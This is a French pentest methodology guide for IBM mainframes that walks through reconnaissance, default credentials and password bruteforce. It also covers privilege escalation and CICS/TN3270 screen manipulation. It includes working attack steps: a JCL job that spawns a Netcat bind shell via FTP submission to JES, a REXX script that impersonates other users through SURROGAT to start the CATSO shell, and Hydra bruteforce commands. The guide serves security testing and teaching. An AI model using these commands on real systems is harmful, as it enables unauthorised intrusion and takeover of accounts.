Tests d'intrusion Mainframe
Reconnaissance réseau
Scan de ports
Voici une liste de ports communéments ouverts sur un mainframe :
| Port | Service |
|---|---|
| 21/TCP | FTP |
| 22/TCP | SSH |
| 23/TCP | TN3270 over Telnet |
| 24/TCP | Telnet |
| 175/TCP | Network Job Entry |
| 515/TCP | PrintServer |
| 900/TCP | FTP |
| 1023/TCP | Telnet |
| 1414/TCP | IBM MQ Server |
| 1415/TCP | IBM MQ Re-translator |
| 1920/TCP | IBM Tivoli Monitoring Service Index |
| 2252/TCP | Network Job Entry over SSL |
| 2809/TCP | CORBA |
| 4020/TCP | NetView |
| 4022/TCP | NetView |
| 8803/TCP | RMF Data Portal |
| 10007/TCP | Workload Manager |
Énumération des applications VTAM
Souvent, les applications VTAM ont un pattern en fonction du sous-système sur lesquelles elles s’appuient : TSOXXX / CICSXXX / IMSXXX / etc.
On peut énumérer les applications par du bruteforce avec nmap :
nmap $IP --script vtam-enum --script-args idlist=$WORDLIST -vvÉnumération des utilisateurs
Le service Telnet, quand il tourne sur un mainframe, permet de réaliser de l’énumération utilisateur grâce aux réponses qu’il retourne lors d’une tentative de connexion.
Voici une liste de comptes par défauts ainsi que les mots de passe associés : Github
Accès initial
Politique de mot de passe
Deux méthodes d’authentification sont possibles avec RACF : PASSWORD et PASSPHRASE. Le fait est que la politique de mots de passe par défaut de RACF est faible :
| Type | Longueur | Caractères disponibles |
|---|---|---|
| PASSWORD | 1 à 8 | UPPER, DIGIT & SPECHAR (@#$) |
| PASSPHRASE | (9)14 à 100 | UPPER, LOWER, DIGIT & SPECHAR (@#$&* }[]"()=,.;'+/) |
Ces politiques peuvent être durcies si le package ICHPWX11 est présent
Mots de passe par défaut
Le compte créé par défaut sur un système Z est IBMUSER:IBMUSER.
Si IBMUSER est supprimé d’un z/OS, en se disant que ça règle un problème de sécurité, RACF recréé un IBMUSER avec le même mot de passe par défaut d’origine (IBMUSER). Il faut alors le révoquer mais le garder.
Pour rappel, voici une liste de comptes par défauts ainsi que les mots de passe associés : Github
Bruteforce de comptes
Dans la mesure où les PASSWORDS font par défaut 8 caractères maximum, on peut les bruteforcer avec Nmap ou Patator :
Pour ce qui concerne les PASSPHRASES, il est également possible de réaliser une attaque par dictionnaire via le service IBM HTTP Server. Vu que c’est du HTTP GET, on va utiliser Hydra :
hydra -l $USERNAME -P $PASS_LIST -s 80 -f $IP http-get /C’est également possible de faire le bruteforce avec hydra via le service FTP à partir des comptes utilisateurs identifiés.
D’une manière générale il faut tenter :
- Le “User as Pass”
Exploitations via un accès FTP
Si on obtient un accès au service FTP d’un mainframe, que ce soit un accès anonyme ou via une compromission d’un compte, il est possible de réaliser plusieurs actions.
Exécution de scripts JCL
L’instruction FTP SITE FILE=JES permet d’envoyer tous les fichiers téléversés à JES pour qu’ils soient exécutés avec les droits de l’utilisateur connecté au serveur FTP.
La kill chain pour obtenir un accès en ligne de commande via FTP est la suivante :
- Compiler ou téléverser le Netcat OMVS sur l’environnement cible via l’accès FTP
ftp> pwd
257 "toto" Is working directory.
ftp> binary
200 Representation type is Image
ftp> put nc
200 Port request OK……- Créer un script JCL pour exécuter le binaire Netcat téléversé :
//EXECNC JOB (INFO),'Execute NC',CLASS=A,MSGCLASS=0,
// MSGLEVEL=(0,0)
//NCLOL EXEC PGM=BPXBATCH
//STDIN DD SYSOUT=*
//STDOUT DD SYSOUT=*
//STDPARM DD *
SH cp -B "//'BLKHT.NC'" /tmp/nc;
chmod +x /tmp/nc;
nohup /tmp/nc -l -p 31337 -e /bin/sh;
rm /tmp/nc
/*- Téléverser le script JCL et l’envoyer pour exécution à JES
ftp> site file=jes
200 SITE command was accepted
ftp> put RUNNC.JCL
250-It is known to JES as JOB JOB12345
250 Transfer completed successfully- Se connecter au listener Netcat avec NetEBCDICat.py :
python3 NetEBCDICat.py -i $IP -p $PORTSinon il existe le script MainTP.py qui réalise toute ces manipulations d’un coup pour gagner du temps (le principal inconvénient est qu’il n’est pas porté sous Python3) :
./MainTP.py -t $IP -u $USERNAME -p $PASSWORDInjections SQL
L’instruction FTP SITE FILE=SQL permet d’envoyer les fichiers téléversés à DB2 pour que leur contenu soit interprété. Il est ainsi possible de soumettre des requêtes SQL pour faire de l’énumération.
Latéralisation & Escalade de privilèges
Énumération authentifiée
Certaines commandes TSO permettent d’obtenir des informations utiles :
IPLINFO: Script REXX créé par Mark ZELDEN permettant d’afficher ÉNORMEMENT d’informations sur le système. Installé sur la plupart des z/OS.SHOWZOS/SHOWMVS: Un équivalent àIPLINFOqui rajoute d’autres informations telles que les started tasks, les APF/SVC etc.LISTUSER(LU) : Affiche l’ensemble des informations concernant l’utilisateur courant.LU $USERID OMVS: Affiche, en plus deLISTUSER, les informations relatives à USS (Unix System Services) tel que le HOME, le shell par défaut etc.ISRDDN: Équivalent à $PATHNETSTAT# Obtenir des informations réseau sur les ports ouverts sur la LPAR
Le script REXX ENUM de Philip Young permet d’automatiser l’énumération globale à partir d’un utilisateur TSO. Ce script ne touche qu’à la mémoire, il est relativement silencieux.
Permissions sur les datasets
Le code ASM APFCheck permet d’afficher le niveau d’accès associé à tous les data set.
call 'filename.asm.bin(apfcheck)'Le script REXX ELV.APF en mode 'list' fait la même chose, et permet également de privesc si des librairies ont une permission permettant de le faire.
EX 'filename.elv.apf' 'list'ELV.APF utilise les commandes RACF
Valeur de UACC
Vérifier la valeur de UACC, si elle est à READ ou au dessus => Pas bien :
Localisation de la base RACF
RVARY LIST
XXXXXXXX RACF DATABASE STATUS:
ACTIVE USE NUM VOLUME DATASET
------ --- --- ------ -------
YES PRIM 1 XXXSY1 SYS1.RACF.PRIMARY
YES BACK 1 XXXSY0 SYS1.RACF.BACKUPWARNING Mode
Pour détecter les datasets et les ressources qui sont en mode WARNING :
SR ALL WARNING NOMASKSurrogat Chaining
Le mécanisme SURROGAT SUBMIT permet à un utilisateur RACF d’exécuter des tâches au nom d’un autre utilisateur, en héritant de ses privilèges. Ca peut par exemple être utile pour avoir un seul identifiant pour les BATCH, mais que plusieurs autre utilisateurs puissent soumettre des jobs en son nom.
Si plusieurs profils SURROGAT se regroupent ou s’étendent entre différents groupes, il est possible de chaîner les permissions.
Pour interroger la classe SURROGAT à partir de l’utilisateur courant :
TSO RLIST SURROGAT *
TSO SEARCH CLASS(SURROGAT)
# TODO : creuser la différence entre ces deux commandesQuand on voit <USERID>.SUBMIT ça signifie que l’on peut exécuter un job batch au nom de l’utilisateur.
La kill chain pour obtenir un accès en ligne de commande est la suivante :
Lister les droits SURROGAT avec
RLIST SURROGAT *pour identifier un<USERID>.SUBMIT;Importer le script REXX CATSO (ou autre) permettant d’avoir un accès bind/reverse shell.
Importer le script SURROGAT.REXX suivant permettant d’exécuter CATSO.REXX en le nom de l’utilisateur cible.
/* REXX */
PARSE ARG id
QUEUE "//SURR01 JOB (9),'SURR01',CLASS=A,USER="id","
QUEUE "// MSGCLASS=H,MSGLEVEL=(1,1)"
QUEUE "//SURR012 EXEC PGM=IKJEFT01"
QUEUE "//SYSTSPRT DD SYSOUT=*"
QUEUE "//SYSTSIN DD *"
QUEUE "EXEC 'TESTUSER.CATSO.REXX' 'L 8855'"
QUEUE "//*"
QUEUE "$$"
o = OUTTRAP('output.')
"SUBMIT * END($$)"
o = OUTTRAP(OFF)Bien penser à modifier le nom du script CATSO, le mode et le port d’écoute(ligne 8).
- Exécuter le script SURROGAT.REXX en modifiant le nom de l’utilisateur à compromettre :
EX 'SURROGAT.REXX' '<USER>'APF-authorized
Lister les programmes APF authorized avec le script REXX ELV.APF :
ex 'ELV.APF' 'LIST'Si on observe un accès ALTER ou UPDATE sur un programme ou une librairie, on peut modifier son contenu :
ex 'ELV.APF' '<DATASET>'Le script ELV.APF recherche le profil utilisateur dans la mémoire RAM et lui attribue l’attribut SPECIAL.
Il est également possible d’exploiter cela avec le module payload/cmd/mainframe/apf_privesc_jcl de Metasploit.
Applicatifs
Application jailbreak
Le principe est de sortir d’une application ou d’une interface contrôlée pour accéder à l’environnement sous-jacent. C’est pertinent dans le cadre d’applications mainframe où on est cantoné à une interface.
Pour cela on va exploiter :
- des erreurs de logique applicative ;
- des messages d’erreur mal gérés ;
- des comportements inattendus lorsqu’on fournit une entrée non prévue ou vide ;
- des possibilités d’écriture (overtype) dans l’interface.
Transactions CICS
CESN - CICS Sign-On : Transaction d’authentification standard CICS, généralement intégrée avec RACF (ou un autre ESM).
CESF – CICS Sign-Off : Permet la déconnexion de la session CICS.
CEMT – CICS Master Terminal : Interface d’administration permettant d’exécuter des commandes de gestion et d’interrogation de l’environnement CICS. Si on parvient à accéder à CEMT, on peut réaliser de l’énumération avec les commandes suivantes :
INQUIRE TRANS: énumération des transactions définies (et donc des surfaces d’attaque potentielles)INQUIRE SYS: informations sur le système CICSINQUIRE TASK: liste des tâches actives (permet notamment d’identifier les utilisateurs connectés)INQUIRE FILE: liste des fichiers CICS (VSAM, accès aux données applicatives)
CECI – CICS Command Interpreter : Outil de test et de debug permettant d’exécuter dynamiquement des commandes EXEC CICS.
CEDA / CEDB – Online Resource Definition : Outils d’administration permettant de créer, modifier ou afficher des ressources CICS (transactions, programmes, fichiers, etc.).
Transactions IMS
Champs protégés/cachés
Théorie
Chaque flux TN3270 transporte des ordres 3270 permettant de décrire l’écran du terminal. Un écran 3270 est structuré en positions de buffer, et certaines de ces positions correspondent à des champs (fields).
Chaque champ comporte un Field Attribute, qui définit les propriétés du champ qui le suit (protection, type de saisie, visibilité, etc.). Les attributs d’affichage avancés (couleurs, highlighting étendu, charset, etc.) peuvent être complétés par des Extended Field Attributes (EFA), mais le Field Attribute de base reste central.
Le Field Attribute est codé sur 1 octet (8 bits) :
Field Attribute
+-----------------+
| 1 0 1 0 1 1 0 0 |
+-----------------+
0 1 2 3 4 5 6 7Les bits les plus significatifs dans ce contexte sont les bits 2, 3, 4 et 5 :
- Bit 2 - Protection du champ
1: Champ protégé (lecture seule)0: Champ non protégé (modifiable par l’utilisateur)
- Bit 3 - Type de saisie autorisée
1: Alphanumérique0: Numérique uniquement
- Bits 4 et 5 – Affichage / intensité
00à10: Champ affiché (selon l’intensité : normal ou intensifié)11: Champ non affiché (hidden / invisible)
Ainsi, si un attaquant est en mesure d’intercepter et de modifier le flux TN3270 (MITM, proxy applicatif, etc.), il peut modifier le Field Attribute pour :
- rendre visible un champ initialement caché (ex. mot de passe),
- retirer la protection d’un champ normalement en lecture seule,
- Forcer un champ numérique en alphanumérique, ou inversement.
Exploitation avec hack3270
hack3270 est un script python qui va permettre de proxifier les flux TN3270 et comporte des outils intégrés pour altérer les requêtes qu’on va formuler au serveur. On le lance avec la commande suivante :
python3 hack3270.py $IP $PORT -t -dLe script va ouvrir le proxy et indiquer le port auquel se connecter en local, par défaut 3271. Il faut ensuite s’y connecter avec le binaire de son choix, idéalement x3270.
x3270 localhost:3270Dans la fenêtre de hack3270, le message change et notre connection a dû être reçue. Il faut cliquer sur le bouton “Click to Continue” afin d’autoriser le flux.
Ensuite, depuis l’écran CICS souhaité, il faut :
- Ouvrir l’onglet hack3270 “Hack Field Attributes”
- Veiller que les cases “Disable Field Protection” et “Enable Hidden Fields” sont cochées
- Cliquer sur le bouton “OFF” sous “Hack Fields”
Bruteforce des clés AID
Théorie
Les AID Keys (Attention Identifier) correspondent aux touches du terminal 3270 qui génèrent un événement côté hôte et provoquent l’envoi du buffer écran au serveur. Contrairement aux touches locales (déplacement du curseur, effacement, etc.), les AID Keys signalent explicitement au système distant qu’une action utilisateur a été effectuée.
Les AID Keys les plus couramment utilisées sont notamment :
ENTER- Les touches
PF(Program Function) dePF1àPF24 - (selon le contexte :
PA1,PA2,PA3,CLEAR, etc.)
Dans une application CICS, certaines transactions ou écrans attendent explicitement une AID Key spécifique pour déclencher un traitement particulier. Il peut donc être pertinent, dans une démarche d’analyse ou de test, de cartographier le comportement applicatif associé à chaque AID Key.
Pour cela, on va automatiser l’envoi de l’ensemble des AID Keys disponibles vers l’application, afin d’observer les changements d’écran, les messages d’erreur ou d’état, l’accès à des fonctionnalités non documentées ou des comportements inattendus.
Exploitation avec hack3270
La mise en place de hack70 est la même que détaillée au-dessus. Ensuite, depuis l’écran CICS souhaité, il faut :
- Ouvrir l’onglet hack3270 “Inject Key Presses”
- Selectionner les AID Key souhaitées
- Cliquer sur le bouton “Send Keys”
Bruteforce de valeurs
Théorie
Certaines applications CICS exposent des champs non protégés dans leurs écrans 3270, destinés à recevoir des valeurs numériques ou alphanumériques telles que des identifiants, des codes d’opération ou des codes de transaction internes.
Lorsqu’aucun contrôle serveur strict n’est appliqué sur ces champs, il devient possible de mener des attaques par dictionnaire en injectant successivement différentes valeurs valides du point de vue du terminal (format, longueur, type de caractères).
Ce type d’attaque peut permettre :
- d’accéder à des transactions CICS non documentées,
- d’activer des fonctionnalités normalement inaccessibles à l’utilisateur,
- ou de contourner des restrictions applicatives reposant uniquement sur la valeur fournie dans le champ.
Exploitation avec hack3270
La mise en place de hack70 est la même que détaillée au-dessus. Ensuite, depuis l’écran CICS souhaité, il faut :
- Ouvrir l’onglet hack3270 “Inject Into Fields”
- Cliquer sur FILE et sélectionner la wordlist voulue ainsi que le masque (caractère que l’on veut utiliser pour symboliser la position d’injection)
- Cliquer sur SETUP, puis mettre le caractère du masque au point d’injection et soumettre de la donnée
- Cliquer sur INJECT pour lancer le bruteforce
Références & Outils
Ressources
- Black-Hat - Executing Commands on z/OS through FTP
- SSTIC 2015 - La sécurité des systèmes mainframes
- Mainframe Security Framework
- Web Application Vulnerabilities & z/OS
- Conquering CICS
- A Gentle Introduction to Hacking Mainframe
Outils
- CATSO : script REXX qui permet d’obtenir un accès shell sur TSO, fonctionne en bind ou en reverse shell.
- Netcat : version de Netcat 1.10 compilée pour OMVS. Elle inclut l’option
-epour l’exécution de commandes. Compiler directement en local avecmake omvsou utiliser la version pré-compilée dans binary.
Personnes à suivre
- Chad Rikansrud (a.k.a Bigendian Smalls) - Pentester de chez Broadcom spécialiste de l’environnement mainframe IBM - Github
- Philip Young (a.k.a Soldier of Fortran) - Pentester chez NetSpi spécialiste de l’environnement mainframe IBM - Github
- Michelle Eggers - Pentester chez NetSpi spécialiste de l’environnement mainframe IBM
- Ayoub Elaassal (a.k.a Ayoul3) - Pentester chez PWC France - Github
CVE à creuser
- CVE-2012-5955 : exécution de code à distance sur WAS 5.X
- CVE 2012-5951 : privesc locale sur OMVS suite à l’exécution d’un REXX en setuid. Exploitable avec le script kuku.rexx